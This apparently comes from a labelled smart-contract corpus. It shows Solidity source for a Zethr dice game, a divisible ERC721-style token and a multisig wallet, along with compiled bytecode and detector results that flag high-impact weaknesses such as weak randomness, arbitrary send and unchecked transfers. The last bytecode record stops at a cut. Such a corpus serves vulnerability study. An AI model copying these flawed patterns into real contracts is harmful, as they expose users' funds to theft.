struct TKN {address sender; uint value;}
// Token fallback to bet or deposit from bankroll
function tokenFallback(address _from, uint _value, bytes _data) public returns (bool) {
require(msg.sender == ZTHTKNADDR);
if (_from == ZethrBankroll) {
// Update the contract balance
contractBalance = contractBalance.add(_value);
// Update the maximum profit
uint oldMaxProfit = maxProfit;
setMaxProfit();
emit MaxProfitChanged(oldMaxProfit, maxProfit);
return true;
} else {
TKN memory _tkn;
_tkn.sender = _from;
_tkn.value = _value;
uint8 chosenNumber = uint8(_data[0]);
_playerRollDice(chosenNumber, _tkn);
}
return true;
}
/*
* Sets max profit
*/
function setMaxProfit() internal {
emit CurrentContractBalance(contractBalance);
maxProfit = (contractBalance * maxProfitAsPercentOfHouse) / maxProfitDivisor;
}
// Only owner adjust contract balance variable (only used for max profit calc)
function ownerUpdateContractBalance(uint newContractBalance) public
onlyOwner
{
contractBalance = newContractBalance;
}
// Only owner address can set maxProfitAsPercentOfHouse
function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public
onlyOwner
{
// Restricts each bet to a maximum profit of 20% contractBalance
require(newMaxProfitAsPercent <= 200000);
maxProfitAsPercentOfHouse = newMaxProfitAsPercent;
setMaxProfit();
}
// Only owner address can set minBet
function ownerSetMinBet(uint newMinimumBet) public
onlyOwner
{
minBet = newMinimumBet;
}
// Only owner address can transfer ZTH
function ownerTransferZTH(address sendTo, uint amount) public
onlyOwner
{
// Safely update contract balance when sending out funds
contractBalance = contractBalance.sub(amount);
// update max profit
setMaxProfit();
require(ZTHTKN.transfer(sendTo, amount));
emit LogOwnerTransfer(sendTo, amount);
}
// Only owner address can set emergency pause #1
function ownerPauseGame(bool newStatus) public
onlyOwner
{
gamePaused = newStatus;
}
// Only owner address can set bankroll address
function ownerSetBankroll(address newBankroll) public
onlyOwner
{
ZTHTKN.approve(ZethrBankroll, 0);
ZethrBankroll = newBankroll;
ZTHTKN.approve(newBankroll, MAX_INT);
}
// Only owner address can set owner address
function ownerChangeOwner(address newOwner) public
onlyOwner
{
owner = newOwner;
}
// Only owner address can selfdestruct - emergency
function ownerkill() public
onlyOwner
{
ZTHTKN.transfer(owner, contractBalance);
selfdestruct(owner);
}
function dumpdivs() public{
ZethrBankroll.transfer(address(this).balance);
}
function _zthToken(address _tokenContract) private view returns (bool) {
return _tokenContract == ZTHTKNADDR;
// Is this the ZTH token contract?
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint a, uint b) internal pure returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
|
0x6080604052600436106101745763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166304fcadf181146101765780630dda350f1461019d578063219df7ee146101b257806323214fab146101e35780633a4f6999146101f85780634025b5a81461020d57806343c1598d146102255780634f44728d1461023a57806355b930311461025b5780635e968a491461027057806361990759146102885780636cdf4c90146102ac5780636eacd48a146102c45780637c67ffe7146102de5780638701a2f0146102ff5780638b7afe2e146103145780638da5cb5b146103295780639619367d1461033e578063a948d72d14610353578063b539cd5514610368578063befa1e2f1461037d578063c0ee0b8a14610392578063c3de1ab91461040f578063ca9defb714610424578063ccd50d2814610448578063d263b7eb1461049b578063d667dcd7146104b0578063e5c774de146104c5578063f21502e5146104da575b005b34801561018257600080fd5b5061018b6104ef565b60408051918252519081900360200190f35b3480156101a957600080fd5b506101746104f5565b3480156101be57600080fd5b506101c7610532565b60408051600160a060020a039092168252519081900360200190f35b3480156101ef57600080fd5b5061018b610541565b34801561020457600080fd5b5061018b610547565b34801561021957600080fd5b5061017460043561054c565b34801561023157600080fd5b5061018b61056d565b34801561024657600080fd5b50610174600160a060020a0360043516610574565b34801561026757600080fd5b5061018b6105c5565b34801561027c57600080fd5b506101746004356105ca565b34801561029457600080fd5b5061018b600435600160a060020a0360243516610603565b3480156102b857600080fd5b506101746004356106a4565b3480156102d057600080fd5b5061017460043515156106c5565b3480156102ea57600080fd5b50610174600160a060020a03600435166106f4565b34801561030b57600080fd5b5061018b610871565b34801561032057600080fd5b5061018b610892565b34801561033557600080fd5b506101c7610898565b34801561034a57600080fd5b5061018b6108ac565b34801561035f57600080fd5b506101c76108b2565b34801561037457600080fd5b5061018b6108c1565b34801561038957600080fd5b5061018b6108c7565b34801561039e57600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526103fb948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506108cd9650505050505050565b604080519115158252519081900360200190f35b34801561041b57600080fd5b506103fb6109c3565b34801561043057600080fd5b50610174600160a060020a03600435166024356109cc565b34801561045457600080fd5b50610469600160a060020a0360043516610ae6565b60408051600160c860020a03909416845265ffffffffffff909216602084015260ff1682820152519081900360600190f35b3480156104a757600080fd5b50610174610b1d565b3480156104bc57600080fd5b5061018b610bf7565b3480156104d157600080fd5b5061018b610bfd565b3480156104e657600080fd5b506101c7610c03565b600a5481565b600154604051600160a060020a0390911690303180156108fc02916000818181858888f1935050505015801561052f573d6000803e3d6000fd5b50565b600354600160a060020a031681565b60075481565b606381565b6000546101009004600160a060020a0316331461056857600080fd5b600455565b620f424081565b6000546101009004600160a060020a0316331461059057600080fd5b60008054600160a060020a039092166101000274ffffffffffffffffffffffffffffffffffffffff0019909216919091179055565b600281565b6000546101009004600160a060020a031633146105e657600080fd5b62030d408111156105f657600080fd5b600781905561052f610c12565b6040805183406020808301919091526c01000000000000000000000000600160a060020a0385160282840152825160348184030181526054909201928390528151600093918291908401908083835b602083106106715780518252601f199092019160209182019101610652565b5181516020939093036101000a600019018019909116921691909117905260405192018290039091209695505050505050565b6000546101009004600160a060020a031633146106c057600080fd5b600855565b6000546101009004600160a060020a031633146106e157600080fd5b6000805460ff1916911515919091179055565b6000546101009004600160a060020a0316331461071057600080fd5b600354600154604080517f095ea7b3000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201526000602482018190529151929093169263095ea7b39260448083019360209383900390910190829087803b15801561078457600080fd5b505af1158015610798573d6000803e3d6000fd5b505050506040513d60208110156107ae57600080fd5b50506001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03838116918217909255600354604080517f095ea7b3000000000000000000000000000000000000000000000000000000008152600481019390935260001960248401525192169163095ea7b3916044808201926020929091908290030181600087803b15801561084257600080fd5b505af1158015610856573d6000803e3d6000fd5b505050506040513d602081101561086c57600080fd5b505050565b6000805460ff161561088257600080fd5b61088d600133610c59565b905090565b60045481565b6000546101009004600160a060020a031681565b60085481565b600154600160a060020a031681565b60065481565b60095481565b6000806108d86113ce565b600254600090600160a060020a031633146108f257600080fd5b600154600160a060020a03888116911614156109725760045461091b908763ffffffff6110c016565b600455600654925061092b610c12565b60065460408051858152602081019290925280517fc515cfc3ee14c6e587c5755cfe9e60d7779b40b2216c63bc3699111dcdd45a8d9281900390910190a1600193506109b9565b600160a060020a03871682526020820186905284518590600090811061099457fe5b016020015160f860020a9081900481020490506109b460ff8216836110d6565b600193505b5050509392505050565b60005460ff1681565b6000546101009004600160a060020a031633146109e857600080fd5b6004546109fb908263ffffffff61133716565b600455610a06610c12565b600354604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038581166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b158015610a7557600080fd5b505af1158015610a89573d6000803e3d6000fd5b505050506040513d6020811015610a9f57600080fd5b50511515610aac57600080fd5b6040518190600160a060020a038416907f42c501a185f41a8eb77b0a3e7b72a6435ea7aa752f8a1a0a13ca4628495eca9190600090a35050565b600b60205260009081526040902054600160c860020a0381169060c860020a810465ffffffffffff169060f860020a900460ff1683565b6000546101009004600160a060020a03163314610b3957600080fd5b6003546000805460048054604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152610100909404600160a060020a039081169385019390935260248401919091525193169263a9059cbb92604480840193602093929083900390910190829087803b158015610bb857600080fd5b505af1158015610bcc573d6000803e3d6000fd5b505050506040513d6020811015610be257600080fd5b50506000546101009004600160a060020a0316ff5b60055481565b6103e881565b600254600160a060020a031681565b60045460408051918252517fdff64b0d3aeb3f517dce05c4a4b3f84c29fe10fa9c3390c3e85122da92101dee9181900360200190a1600754600454620f4240910204600655565b6000610c636113e5565b50600160a060020a0382166000908152600b6020908152604080832081516060810183529054600160c860020a03811680835260c860020a820465ffffffffffff169483019490945260f860020a900460ff16918101919091529190819081908110610cce57600080fd5b602084015165ffffffffffff16431415610ce757600080fd5b60ff846020015165ffffffffffff1643031115610d08576103e89250610d26565b610d206063856020015165ffffffffffff1688611349565b60010192505b836040015160ff16915081831015610f53578351610d4d90600160c860020a031683611368565b9050600654811115610d5e57506006545b600454610d71908263ffffffff61133716565b600455835160408051600160a060020a03891681526020810186905280820185905260608101849052600160c860020a039092166080830152600160a0830152517f34079d79bb31b852e172198518083b845886d3d6366fcff691718d392250a9899181900360c00190a1610de4610c12565b6040805160608101825260008082526020808301828152838501838152600160a060020a038c8116808652600b8552878620965187549451935178ffffffffffffffffffffffffffffffffffffffffffffffffff19909516600160c860020a03918216177fff000000000000ffffffffffffffffffffffffffffffffffffffffffffffffff1660c860020a65ffffffffffff90951694909402939093177effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1660f860020a60ff90951694909402939093179095556003548a5187517fa9059cbb0000000000000000000000000000000000000000000000000000000081526004810194909452909116870160248301529451949093169363a9059cbb93604480820194918390030190829087803b158015610f1d57600080fd5b505af1158015610f31573d6000803e3d6000fd5b505050506040513d6020811015610f4757600080fd5b509294508492506110b6565b835160408051600160a060020a03891681526020810186905280820185905260608101849052600160c860020a039092166080830152600060a0830152517f34079d79bb31b852e172198518083b845886d3d6366fcff691718d392250a9899181900360c00190a18351600454610fd891600160c860020a031663ffffffff6110c016565b6004556040805160608101825260008082526020808301828152838501838152600160a060020a038c168452600b90925293909120915182549351915178ffffffffffffffffffffffffffffffffffffffffffffffffff19909416600160c860020a03909116177fff000000000000ffffffffffffffffffffffffffffffffffffffffffffffffff1660c860020a65ffffffffffff90921691909102177effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1660f860020a60ff909316929092029190911790556110b2610c12565b8294505b5050505092915050565b6000828201838110156110cf57fe5b9392505050565b6110de6113e5565b60005460ff16156110ee57600080fd5b8160200151836006546111018383611368565b10801561111057506008548210155b801561111c5750600281115b80156111285750606381105b151561113357600080fd5b6020840151600160c860020a031161114a57600080fd5b65ffffffffffff431061115c57600080fd5b611165336113ba565b151561117057600080fd5b8351600160a060020a03166000908152600b602090815260409182902082516060810184529054600160c860020a038116825260c860020a810465ffffffffffff1692820183905260f860020a900460ff16928101929092529093504314156111d857600080fd5b602083015165ffffffffffff16156111fb576111f960008560000151610c59565b505b65ffffffffffff43811660208086019182528681018051600160c860020a03908116885260ff808b166040808b019182528b51600160a060020a039081166000908152600b88528290208c5181549951945190951660f860020a027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff94909a1660c860020a027fff000000000000ffffffffffffffffffffffffffffffffffffffffffffffffff9590961678ffffffffffffffffffffffffffffffffffffffffffffffffff19909916989098179390931693909317169590951790935587519051835191909416815290810192909252818101879052517fcfb6e9afebabebfb2c7ac42dfcd2e8ca178dc6400fe8ec3075bd690d8e3377fe9181900360600190a150506009805460010190555060200151600a8054909101905550565b60008282111561134357fe5b50900390565b6000836113568484610603565b81151561135f57fe5b06949350505050565b6000826103e86005548561138660018761133790919063ffffffff16565b61139787600163ffffffff61133716565b60640388028115156113a557fe5b0401028115156113b157fe5b04039392505050565b600254600160a060020a0390811691161490565b604080518082019091526000808252602082015290565b6040805160608101825260008082526020820181905291810191909152905600a165627a7a723058200a0773c7690b74c7a582a20870a5e345dd05244f7d658ceca65a7b466dd456ea0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,250 |
0xf145cc0345f95d45ea5fda21ef8abd1b824cbe0d
|
pragma solidity ^0.4.18;
/**
* ERC721 interface
*
* @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
* @author Yumin.yang
*/
contract ERC721 {
// Required methods
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
//function ownerOf(uint256 _tokenId) external view returns (address owner);
//function approve(address _to, uint256 _tokenId) external;
function transfer(address _to, uint256 _tokenId) external;
//function transferFrom(address _from, address _to, uint256 _tokenId) external;
// Events
event Transfer(address from, address to, uint256 tokenId);
// event Approval(address owner, address approved, uint256 tokenId);
}
/**
* First Commons Forum
*
* @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
* @author Yumin.yang
*/
contract DivisibleFirstCommonsForumToken is ERC721 {
//This contract's owner
address private contractOwner;
//Participation token storage.
mapping(uint => ParticipationToken) participationStorage;
// Total supply of this token.
uint public totalSupply = 19;
bool public tradable = false;
uint firstCommonsForumId = 1;
// Divisibility of ownership over a token
mapping(address => mapping(uint => uint)) ownerToTokenShare;
// How much owners have of a token
mapping(uint => mapping(address => uint)) tokenToOwnersHoldings;
// If First Commons Forum has been created
mapping(uint => bool) firstCommonsForumCreated;
string public name;
string public symbol;
uint8 public decimals = 0;
string public version = "1.0";
// Special participation token
struct ParticipationToken {
uint256 participationId;
}
// @dev Constructor
function DivisibleFirstCommonsForumToken() public {
contractOwner = msg.sender;
name = "FirstCommonsForum";
symbol = "FCFT";
// Create First Commons Forum
ParticipationToken memory newParticipation = ParticipationToken({ participationId: firstCommonsForumId });
participationStorage[firstCommonsForumId] = newParticipation;
firstCommonsForumCreated[firstCommonsForumId] = true;
_addNewOwnerHoldingsToToken(contractOwner, firstCommonsForumId, totalSupply);
_addShareToNewOwner(contractOwner, firstCommonsForumId, totalSupply);
}
// Fallback funciton
function() public {
revert();
}
function totalSupply() public view returns (uint256 total) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return ownerToTokenShare[_owner][firstCommonsForumId];
}
// We use parameter '_tokenId' as the divisibility
function transfer(address _to, uint256 _tokenId) external {
// Requiring this contract be tradable
require(tradable == true);
require(_to != address(0));
require(msg.sender != _to);
// Take _tokenId as divisibility
uint256 _divisibility = _tokenId;
// Requiring msg.sender has Holdings of First Commons Forum
require(tokenToOwnersHoldings[firstCommonsForumId][msg.sender] >= _divisibility);
// Remove divisibilitys from old owner
_removeShareFromLastOwner(msg.sender, firstCommonsForumId, _divisibility);
_removeLastOwnerHoldingsFromToken(msg.sender, firstCommonsForumId, _divisibility);
// Add divisibilitys to new owner
_addNewOwnerHoldingsToToken(_to, firstCommonsForumId, _divisibility);
_addShareToNewOwner(_to, firstCommonsForumId, _divisibility);
// Trigger Ethereum Event
Transfer(msg.sender, _to, firstCommonsForumId);
}
// Transfer participation to a new owner.
function assignSharedOwnership(address _to, uint256 _divisibility) onlyOwner external returns (bool success) {
require(_to != address(0));
require(msg.sender != _to);
require(_to != address(this));
// Requiring msg.sender has Holdings of First Commons Forum
require(tokenToOwnersHoldings[firstCommonsForumId][msg.sender] >= _divisibility);
// Remove ownership from oldOwner(msg.sender)
_removeLastOwnerHoldingsFromToken(msg.sender, firstCommonsForumId, _divisibility);
_removeShareFromLastOwner(msg.sender, firstCommonsForumId, _divisibility);
// Add ownership to NewOwner(address _to)
_addShareToNewOwner(_to, firstCommonsForumId, _divisibility);
_addNewOwnerHoldingsToToken(_to, firstCommonsForumId, _divisibility);
// Trigger Ethereum Event
Transfer(msg.sender, _to, firstCommonsForumId);
return true;
}
function getFirstCommonsForum() public view returns(uint256 _firstCommonsForumId) {
return participationStorage[firstCommonsForumId].participationId;
}
// Turn on this contract to be tradable, so owners can transfer their token
function turnOnTradable() public onlyOwner {
tradable = true;
}
// -------------------- Helper functions (internal functions) --------------------
// Add divisibility to new owner
function _addShareToNewOwner(address _owner, uint _tokenId, uint _units) internal {
ownerToTokenShare[_owner][_tokenId] += _units;
}
// Add the divisibility to new owner
function _addNewOwnerHoldingsToToken(address _owner, uint _tokenId, uint _units) internal {
tokenToOwnersHoldings[_tokenId][_owner] += _units;
}
// Remove divisibility from last owner
function _removeShareFromLastOwner(address _owner, uint _tokenId, uint _units) internal {
ownerToTokenShare[_owner][_tokenId] -= _units;
}
// Remove divisibility from last owner
function _removeLastOwnerHoldingsFromToken(address _owner, uint _tokenId, uint _units) internal {
tokenToOwnersHoldings[_tokenId][_owner] -= _units;
}
// Withdraw Ether from this contract to Multi sigin wallet
function withdrawEther() onlyOwner public returns(bool) {
return contractOwner.send(this.balance);
}
// -------------------- Modifier --------------------
modifier onlyExistentToken(uint _tokenId) {
require(firstCommonsForumCreated[_tokenId] == true);
_;
}
modifier onlyOwner(){
require(msg.sender == contractOwner);
_;
}
}
/**
* MultiSig Wallet
*
* @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
* @author Stefan George - <stefan.george@consensys.net>
*/
contract MultiSigWallet {
uint constant public MAX_OWNER_COUNT = 50;
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
event CoinCreation(address coin);
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
bool flag = true;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier onlyWallet() {
if (msg.sender != address(this))
revert();
_;
}
modifier ownerDoesNotExist(address owner) {
if (isOwner[owner])
revert();
_;
}
modifier ownerExists(address owner) {
if (!isOwner[owner])
revert();
_;
}
modifier transactionExists(uint transactionId) {
if (transactions[transactionId].destination == 0)
revert();
_;
}
modifier confirmed(uint transactionId, address owner) {
if (!confirmations[transactionId][owner])
revert();
_;
}
modifier notConfirmed(uint transactionId, address owner) {
if (confirmations[transactionId][owner])
revert();
_;
}
modifier notExecuted(uint transactionId) {
if (transactions[transactionId].executed)
revert();
_;
}
modifier notNull(address _address) {
if (_address == 0)
revert();
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
if (ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0)
revert();
_;
}
/**
* @dev Fallback function allows to deposit ether.
*/
function() payable {
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*
* @dev Contract constructor sets initial owners and required number of confirmations.
* @param _owners List of initial owners.
* @param _required Number of required confirmations.
*/
function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) {
for (uint i=0; i<_owners.length; i++) {
if (isOwner[_owners[i]] || _owners[i] == 0)
revert();
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/**
* @dev Allows to add a new owner. Transaction has to be sent by wallet.
* @param owner Address of new owner.
*/
function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) {
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/**
* @dev Allows to remove an owner. Transaction has to be sent by wallet.
* @param owner Address of owner.
*/
function removeOwner(address owner) public onlyWallet ownerExists(owner) {
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/**
* @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
* @param owner Address of owner to be replaced.
* @param owner Address of new owner.
*/
function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) {
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/**
* @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
* @param _required Number of required confirmations.
*/
function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) {
required = _required;
RequirementChange(_required);
}
/**
* @dev Allows an owner to submit and confirm a transaction.
* @param destination Transaction target address.
* @param value Transaction ether value.
* @param data Transaction data payload.
* @return Returns transaction ID.
*/
function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) {
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/**
* @dev Allows an owner to confirm a transaction.
* @param transactionId Transaction ID.
*/
function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) {
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/**
* @dev Allows an owner to revoke a confirmation for a transaction.
* @param transactionId Transaction ID.
*/
function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) {
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/**
* @dev Allows anyone to execute a confirmed transaction.
* @param transactionId Transaction ID.
*/
function executeTransaction(uint transactionId) public notExecuted(transactionId) {
if (isConfirmed(transactionId)) {
Transaction tx = transactions[transactionId];
tx.executed = true;
if (tx.destination.call.value(tx.value)(tx.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
tx.executed = false;
}
}
}
/**
* @dev Returns the confirmation status of a transaction.
* @param transactionId Transaction ID.
* @return Confirmation status.
*/
function isConfirmed(uint transactionId) public constant returns (bool) {
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/**
* Internal functions
*
* @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
* @param destination Transaction target address.
* @param value Transaction ether value.
* @param data Transaction data payload.
* @return Returns transaction ID.
*/
function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) {
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/**
* Web3 call functions
*
* @dev Returns number of confirmations of a transaction.
* @param transactionId Transaction ID.
* @return Number of confirmations.
*/
function getConfirmationCount(uint transactionId) public constant returns (uint count) {
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/**
* @dev Returns total number of transactions after filers are applied.
* @param pending Include pending transactions.
* @param executed Include executed transactions.
* @return Total number of transactions after filters are applied.
*/
function getTransactionCount(bool pending, bool executed) public constant returns (uint count) {
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed || executed && transactions[i].executed)
count += 1;
}
/**
* @dev Returns list of owners.
* @return List of owner addresses.
*/
function getOwners() public constant returns (address[]) {
return owners;
}
/**
* @dev Returns array with owner addresses, which confirmed transaction.
* @param transactionId Transaction ID.
* @return Returns array of owner addresses.
*/
function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) {
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/**
* @dev Returns list of transaction IDs in defined range.
* @param from Index start position of transaction array.
* @param to Index end position of transaction array.
* @param pending Include pending transactions.
* @param executed Include executed transactions.
* @return Returns array of transaction IDs.
*/
function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) {
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if (pending && !transactions[i].executed || executed && transactions[i].executed) {
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
modifier onlyOwner() {
require(isOwner[msg.sender] == true);
_;
}
/**
* @dev Create new first commons forum.
*/
function createFirstCommonsForum() external onlyWallet {
require(flag == true);
CoinCreation(new DivisibleFirstCommonsForumToken());
flag = false;
}
}
|
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100cc57806318160ddd1461015c57806325e3d7b4146101875780632fb1746d146101ec578063313ce5671461020357806354840c6e1461023457806354fd4d501461026357806370a08231146102f35780637362377b1461034a57806395d89b4114610379578063a9059cbb14610409578063ee7e508a14610456575b3480156100c657600080fd5b50600080fd5b3480156100d857600080fd5b506100e1610481565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610121578082015181840152602081019050610106565b50505050905090810190601f16801561014e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561016857600080fd5b5061017161051f565b6040518082815260200191505060405180910390f35b34801561019357600080fd5b506101d2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610529565b604051808215151515815260200191505060405180910390f35b3480156101f857600080fd5b50610201610778565b005b34801561020f57600080fd5b506102186107f0565b604051808260ff1660ff16815260200191505060405180910390f35b34801561024057600080fd5b50610249610803565b604051808215151515815260200191505060405180910390f35b34801561026f57600080fd5b50610278610816565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102b857808201518184015260208101905061029d565b50505050905090810190601f1680156102e55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102ff57600080fd5b50610334600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108b4565b6040518082815260200191505060405180910390f35b34801561035657600080fd5b5061035f610910565b604051808215151515815260200191505060405180910390f35b34801561038557600080fd5b5061038e6109df565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103ce5780820151818401526020810190506103b3565b50505050905090810190601f1680156103fb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041557600080fd5b50610454600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a7d565b005b34801561046257600080fd5b5061046b610c56565b6040518082815260200191505060405180910390f35b60088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105175780601f106104ec57610100808354040283529160200191610517565b820191906000526020600020905b8154815290600101906020018083116104fa57829003601f168201915b505050505081565b6000600254905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561058657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156105c257600080fd5b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515156105fd57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561063857600080fd5b8160066000600454815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561069957600080fd5b6106a63360045484610c76565b6106b33360045484610cd9565b6106c08360045484610d3c565b6106cd8360045484610d9f565b7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef3384600454604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a16001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156107d357600080fd5b6001600360006101000a81548160ff021916908315150217905550565b600a60009054906101000a900460ff1681565b600360009054906101000a900460ff1681565b600b8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108ac5780601f10610881576101008083540402835291602001916108ac565b820191906000526020600020905b81548152906001019060200180831161088f57829003601f168201915b505050505081565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006004548152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561096d57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050905090565b60098054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a755780601f10610a4a57610100808354040283529160200191610a75565b820191906000526020600020905b815481529060010190602001808311610a5857829003601f168201915b505050505081565b600060011515600360009054906101000a900460ff161515141515610aa157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffff